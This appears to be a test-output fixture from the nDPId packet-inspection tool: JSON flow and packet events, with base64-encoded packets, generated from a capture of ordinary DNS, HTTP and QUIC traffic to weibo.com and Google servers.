+00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":14,"source":"weibo.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1463089070755,"flow_last_seen":0,"flow_tot_l4_data_len":372,"flow_min_l4_data_len":372,"flow_max_l4_data_len":372,"flow_avg_l4_data_len":372,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.210.227","src_port":53656,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00886{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089070,"pkt_ts_usec":755684,"pkt_caplen":406,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":406,"pkt_l4_len":372,"pkt":"kDVu60UQeJKcD6iOCABFAAGIMGNAAEARm9LAqAFp2DrS49GYAbsBdI1JDLva88\/LUhUgJJB9mYAGceDgbWxM0LRsm4JNDbKc2scH8met9koeqL6\/vSPRbc8Azif26oxDIgzQBvKXwSWqmW75DLc+Tze8HLmFOLbpW1dfDh+CmYIDg83ozCrqzZhIa7c9c87+9DDGInSDf9f\/tl92yy8f1zwi5ofEkbjAvQ14GM0UCN2FUqQXDuqOrr4+0mp4RLoTXyk0KmRSNOp96LQHThISJcaekcpsRADkvdkvWyfHzVzaPjpEHmDVGxlff0Lyt7xPlz4I3iJqFNYIv6S5IeCVHrZ+OTOUiQ654SUxByYukSwW968bKOypceOi6Z9YrJBsh8fbzBOlaaCscjkwvRlnA94hXGNPW\/f1uJBnwscXyRa1XQX3ylsU7+3wwIt8bcdzaqKvgasSUBwcjaznmyXm4EMkY0SocvpvlP+Y\/Tyw+d3\/Jt6j83TjDTmoWxIattwqrgJYlX1vanz3uVHuuTPizgrn3v70Ig=="} +00430{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089070,"pkt_ts_usec":755808,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"kDVu60UQeJKcD6iOCABFAAA5MGRAAEARnSDAqAFp2DrS49GYAbsAJVKhDLva88\/LUhUgJfyz0FFMX+goev2cGp67zKdIwHY="} +00749{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089070,"pkt_ts_usec":756129,"pkt_caplen":303,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":303,"pkt_l4_len":269,"pkt":"kDVu60UQeJKcD6iOCABFAAEhMGVAAEARnDfAqAFp2DrS49GYAbsBDYkQDLva88\/LUhUgJkcz8vG4Z\/IO+VkPDhG6AFD7bU7A+qqkwZ+x\/RvFauDbIOOJtwCjXyUObeUIn5gQ+UX+x65qNOazAz\/4wVrPUNQeyvpM\/apVfaPKE\/BWwazlUXoAI5VQNixlUUJ1awnxsfIGiNrCTSIptZgAvLyXtwp5hhxDz3XyJujNKh8y4KxdXT+KUDUJOJJnUi42xAE7YEaRgCG0Gsvcv8KKqXj17ZhXhBURaPrZodsQJCbjs8pPzHSHwv2KhOv\/hmenV+Y+4AoEiGoPjQoanC+Mp48jh+wIc24blOr9i\/xboxYy\/SLPPtKSsAsklxNqe9J5gUDokozUo9KiuHi4kWMZ"} +00426{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089070,"pkt_ts_usec":756212,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"kDVu60UQeJKcD6iOCABFAAA1MGZAAEARnSLAqAFp2DrS49GYAbsAIVjxDLva88\/LUhUgJwLsxjgxXNbPIqKq5C2ocA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":18,"source":"weibo.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1463089070757,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":54988,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089070,"pkt_ts_usec":757761,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"kDVu60UQeJKcD6iOCABFAAA3JrZAAEARkEXAqAFpwKgBAdbMADUAI69dsmwBAAABAAAAAAAABXdlaWJvA2NvbQAAAQAB"} +00625{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":18,"source":"weibo.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1463089070757,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":54988,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"weibo.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00438{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089070,"pkt_ts_usec":800539,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"eJKcD6iOkDVu60UQCABFAAA\/48EAADYRM73YOtLjwKgBaQG70ZgAK5KmACJCWlXaapi9mYsktLXHPcOwMT6FVng4z3AZrMHlanNy2Oo="} +00435{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089070,"pkt_ts_usec":800569,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iOkDVu60UQCABFAAA848MAADYRM77YOtLjwKgBaQG70ZgAKK3cACPs9\/Su8BV3z9mXpWI0v3VrqD9MgU\/H3zT1WUtzOd8="} +00479{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089070,"pkt_ts_usec":830405,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"eJKcD6iOkDVu60UQCABFAABc49MAADYRM47YOtLjwKgBaQG70ZgASG6ZACRpSAAaXQawU+oPS7uVCeQrGIL0yTGmks5EA52DAWmpkywr7fEQ4oz4qVaUQTicoPuWtiLawy9XMTDS6ewOQw=="} +00926{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089070,"pkt_ts_usec":832828,"pkt_caplen":433,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":433,"pkt_l4_len":399,"pkt":"eJKcD6iOkDVu60UQCABFAAGj49YAADYRMkTYOtLjwKgBaQG70ZgBj\/hxACX6hcuY3YOe9Hr9jcyVrBMfbi6KUYX8j8coU3Dk+PWKGrAfCpPjWJSu8Y3FBIeqL\/+3biImOd9zFvNNZXHpUMY6VHB7QBMgkpDpR0bCmM4JdhXemksaeoMQKDi2X8FPO6156ubq0etO+A804vBtxjXtba0WiIZ7gaYmZt5EDyZnwU+EdSxRMfUuJsLrKNV3PwoBXPmvRKp1AJcr0WzfCBByqClrGtBx+w+mSrmHw+kQJNiRN1ZbdXK3w3wdR8EYC7xk5Qx0LIqKLSBAg\/Jq6lGm3oaZNQSVwgIdIS+fex2yIPGo1PQkZfKH8i4yvWT8ZJwULeU\/r8XtAauBcVa2c2yLK4X9z07v+77UlkTmUiPbP3NyRInMd87JODfosxvW9qqF0dM3McTUgFSnZrdgOLtsRI1\/bgzbxIJ\/kzTRdumwAkz1pju8od\/FvEU2sVclFp1ED9ZyuQuHNkM7J36U36cZW3X7KX9IhU9cbv+wF2CLvdn\/9qPaIaywXlxH\/RhaCdLNVx\/A4w=="} +00458{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089070,"pkt_ts_usec":833052,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"kDVu60UQeJKcD6iOCABFAABNMHBAAEARnQDAqAFp2DrS49GYAbsAObaFDLva88\/LUhUgKByMYFMjskIM1A8eJQ8V9Nd4rb6Cbk+lAN9qqqdkdRyQRocRp3Qz5A=="} +00449{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089070,"pkt_ts_usec":841770,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"eJKcD6iOkDVu60UQCABFAABHAABAAEARtuvAqAEBwKgBaQA11swAM884smyBgAABAAEAAAAABXdlaWJvA2NvbQAAAQABwAwAAQABAAAAJAAEcoZQog=="} +00652{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":24,"source":"weibo.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":2,"flow_first_seen":1463089070757,"flow_last_seen":1463089070841,"flow_tot_l4_data_len":86,"flow_min_l4_data_len":35,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":54988,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"weibo.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"114.134.80.162"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":25,"source":"weibo.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1463089070841,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"114.134.80.162","src_port":59119,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089070,"pkt_ts_usec":841932,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8BZVAAEAGr+3AqAFpcoZQoubvAFC9RQISAAAAAKACchCiVgAAAgQFtAQCCAoAQQeHAAAAAAEDAwc="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":26,"source":"weibo.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1463089070841,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"114.134.80.162","src_port":59120,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089070,"pkt_ts_usec":841976,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA80EtAAEAG5TbAqAFpcoZQoubwAFDrBNfMAAAAAKACchCe2wAAAgQFtAQCCAoAQQeHAAAAAAEDAwc="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":27,"source":"weibo.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1463089071008,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"114.134.80.162","src_port":59121,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":8468,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8ct5AAEAGQqTAqAFpcoZQoubxAFC2vHVvAAAAAKACchA1VgAAAgQFtAQCCAoAQQexAAAAAAEDAwc="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":28,"source":"weibo.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1463089071046,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.210.206","src_port":35154,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00420{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":46082,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA0aeJAAEAGY8fAqAFp2DrSzolSAbv6shUXRZgnfoAQAcBJAQAAAQEICgBBB7tvXD+b"} +00420{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":94149,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA0QjAAADYG1XnYOtLOwKgBaQG7iVJFmCd++rIVGIAQCVwVnQAAAQEICm9c76IAQIN7"} +00421{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":195785,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA0BcYAACkGBsVyhlCiwKgBaQBQ5u8JOZF4vUUCE4ASOQhvgQAAAgQFqAEBBAIBAwMH"} +00405{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":195857,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"kDVu60UQeJKcD6iOCABFAAAoBZZAAEAGsADAqAFpcoZQoubvAFC9RQITCTmReVAQAOXoagAA"} +01005{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":196181,"pkt_caplen":500,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":500,"pkt_l4_len":466,"pkt":"kDVu60UQeJKcD6iOCABFAAHmBZdAAEAGrkHAqAFpcoZQoubvAFC9RQITCTmReVAYAOVVpAAAR0VUIC9sb2dpbi5waHA\/bGFuZz1lbi11cyBIVFRQLzEuMQ0KSG9zdDogd2VpYm8uY29tDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL3dlYnAsKi8qO3E9MC44DQpVcGdyYWRlLUluc2VjdXJlLVJlcXVlc3RzOiAxDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS81MC4wLjI2NjEuMTAyIFNhZmFyaS81MzcuMzYNClJlZmVyZXI6IGh0dHBzOi8vd3d3Lmdvb2dsZS5pdC8NCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZSwgc2RjaA0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuOCxpdC1JVDtxPTAuNixpdDtxPTAuNCxydTtxPTAuMg0KDQo="} +00740{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":32,"source":"weibo.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":4,"flow_first_seen":1463089070841,"flow_last_seen":1463089071196,"flow_tot_l4_data_len":558,"flow_min_l4_data_len":20,"flow_max_l4_data_len":466,"flow_avg_l4_data_len":139,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"114.134.80.162","src_port":59119,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"weibo.com","url":"weibo.com\/login.php?lang=en-us","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/50.0.2661.102 Safari\/537.36"}} +00421{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":198585,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA0IcQAACoG6cZyhlCiwKgBaQBQ5vAZ6VqE6wTXzYASOQiSSgAAAgQFqAEBBAIBAwMH"} +00405{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":198637,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"kDVu60UQeJKcD6iOCABFAAAo0ExAAEAG5UnAqAFpcoZQoubwAFDrBNfNGelahVAQAOULNAAA"} +00421{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":348610,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA0BccAACoGBcRyhlCiwKgBaQBQ5vFPiVnutrx1cIASOQjz5AAAAgQFqAEBBAIBAwMH"} +00405{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":348686,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"kDVu60UQeJKcD6iOCABFAAAoct9AAEAGQrfAqAFpcoZQoubxAFC2vHVwT4lZ71AQAOVszgAA"} +00405{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":543591,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"eJKcD6iOkDVu60UQCABFAAAoBcgAACkGBs9yhlCiwKgBaQBQ5u8JOZF5vUUD0VAQAHvnFgAA"} +01260{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":543642,"pkt_caplen":689,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":689,"pkt_l4_len":655,"pkt":"eJKcD6iOkDVu60UQCABFAAKjBckAACkGBFNyhlCiwKgBaQBQ5u8JOZF5vUUD0VARAHvKTQAASFRUUC8xLjEgMzAxIE1vdmVkIFBlcm1hbmVudGx5DQpEYXRlOiBUaHUsIDEyIE1heSAyMDE2IDIxOjM3OjUxIEdNVA0KU2VydmVyOiBBcGFjaGUNCkxvY2F0aW9uOiBodHRwOi8vd3d3LndlaWJvLmNvbS9sb2dpbi5waHA\/bGFuZz1lbi11cw0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT0xMjANCkV4cGlyZXM6IFRodSwgMTIgTWF5IDIwMTYgMjE6Mzk6NTEgR01UDQpWYXJ5OiBBY2NlcHQtRW5jb2RpbmcNCkNvbnRlbnQtRW5jb2Rpbmc6IGd6aXANCkNvbnRlbnQtTGVuZ3RoOiAyMDcNCkNvbm5lY3Rpb246IGNsb3NlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xDQpTSU5BLUxCOmFHRXVNVFk0TG1jeExtaDVaSE11YkdJdWMybHVZVzV2WkdVdVkyOXQNClNJTkEtVFM6WTJabE9UZ3lZMlVnTXlBeklEQWdNVEFnTUFvPQ0KDQofiwgAAAAAAAADbY69bsJAEIR7P8XinlsgHVoOCewIJEhcXArKM95wlu5P5ojF22ObNuXMfKMZmhXfe3WpSjio8wmqn93puId8jngs1SdioYp3shILxPIrlxmZ5Kwkw7oZRGqTZfmxWMI5\/HEDFXdOe\/bJPgnfYUY4wVSH5jn2l\/IfdnAzilIZhiZcH26wweg7uAklDabj301uUoprxL7vRc9tHcQ1OLTh1noRTdxa7W8b9vPHPZeGOybUUhDG8cQ0PwyN97MXc4MGzPkAAAA="} +00407{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":543674,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"kDVu60UQeJKcD6iOCABFAAAoBZhAAEAGr\/7AqAFpcoZQoubvAFC9RQPRCTmT9VAQAO\/kJgAA"} +00407{"flow_id":6,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":547268,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"kDVu60UQeJKcD6iOCABFAAAoBZlAAEAGr\/3AqAFpcoZQoubvAFC9RQPRCTmT9VARAO\/kJQAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":41,"source":"weibo.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1463089071551,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":7148,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":551377,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"kDVu60UQeJKcD6iOCABFAAA7Jz9AAEARj7jAqAFpwKgBARvsADUAJ8YJ26oBAAABAAAAAAAAA3d3dwV3ZWlibwNjb20AAAEAAQ=="} +00640{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":41,"source":"weibo.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1463089071551,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":7148,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"www.weibo.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00529{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089071,"pkt_ts_usec":612902,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"eJKcD6iOkDVu60UQCABFAACAAABAAEARtrLAqAEBwKgBaQA1G+wAbIVL26qBgAABAAMAAAAAA3d3dwV3ZWlibwNjb20AAAEAAcAMAAUAAQAAACUAGQN3d3cFd2VpYm8DY29tBWNkbmdjA25ldADAKwABAAEAAAAHAARdvIaJwCsAAQABAAAABwAEXbyGhw=="} +00669{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":42,"source":"weibo.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":2,"flow_first_seen":1463089071551,"flow_last_seen":1463089071612,"flow_tot_l4_data_len":147,"flow_min_l4_data_len":39,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":73,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":7148,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"www.weibo.com","num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"93.188.134.137"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":43,"source":"weibo.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1463089071613,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"93.188.134.137","src_port":51698,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 